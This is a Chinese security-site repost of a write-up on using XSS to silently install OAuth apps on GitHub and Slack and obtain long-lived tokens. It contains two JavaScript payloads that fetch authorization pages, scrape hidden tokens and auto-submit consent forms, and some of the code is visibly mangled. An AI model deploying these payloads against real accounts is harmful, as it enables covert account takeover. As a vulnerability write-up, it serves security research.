欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

结合Oauth的XSS利用技术

来源:本站整理 作者:佚名 时间:2019-01-10 TAG: 我要投稿

熟悉Oauth的人都知道,一旦用户点击授权按钮,我们的服务器就可以获取一个长期可用的令牌,能够访问我们请求的所有scope(权限范围)。
Github已经采取一些防护措施,用来保护某些oauth scope。如果用户最近在这些scope上没有输入凭据,那么就需要重新输入凭据。基于这一点,我们的app只请求不需要凭据的scope。这些scope包括email、Webhooks读取及写入,这样我们就能以用户的身份在repos(仓库)上安装Webhooks。
由于Github将Oauth授权页面托管在主域名上,因此github.com上任意位置只要存在XSS漏洞,我们就能以用户的身份来授权应用。为了模拟XSS攻击,大家可以在JavaScript终端中粘贴如下代码。
警告:如下代码会向我的服务器发送一个实时Oauth凭据。
fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
    response.text().then(function (text) {
        var oauthForm = ' + text.split(')[1].split(")[0] + '';
        document.write(oauthForm);
        document.getElementById("potato").submit();
    });
  })
浏览器控制台:

就这么简单,以上代码可以安装Oauth应用,将令牌发送给我的服务器。现在攻击者已经可以长期访问受害者账户,也能以目标用户的身份安装webhooks。
Slack案例
我们还可以使用这种技术攻击slack。如果用户具备相应权限,则如下JavaScript代码可以强迫用户在自己的workspace(工作区)中安装一个Oauth应用:

为了模拟XSS攻击,此时我们还是可以将如下JavaScript代码粘贴到自己的workspace域中。
警告:如下代码会向我的服务器发送一个实时Oauth凭据。
fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
    response.text().then(function (text) {
                var oauthPath = text.split(')[1].split('?')[0];
        fetch(location.origin + oauthPath).then(function(response){
                        response.text().then(function (text) {
                                var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
                                var evilForm = `${oauthPath}" method="post" accept-encoding="UTF-8">${crumb}" />document.getElementById('potatoCarrots').submit()`
                                document.write(evilForm)
            })
        })
    });
  })
如上代码运行在用户workspace的XSS上下文中,会安装一个Oauth应用,其scope为channel:history。攻击者可以获取用户workspace中公开channel的长期读取权限。
 
四、总结
对于攻击者而言,安装Oauth应用是获取受害者账户访问权限的一种可靠方式。XSS可以用来安装应用,并且受害者无法察觉。
本文讨论的这种方法可以替代传统的 document.cookie XSS攻击方法,获取目标账户的长期访问权限。
大家可以访问此处获取支持Oauth的部分网站列表。
 
五、建议
Slack以及Github会在安装应用时向用户发送通知邮件,这种方法非常好,可以通知用户可能存在问题的操作。

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载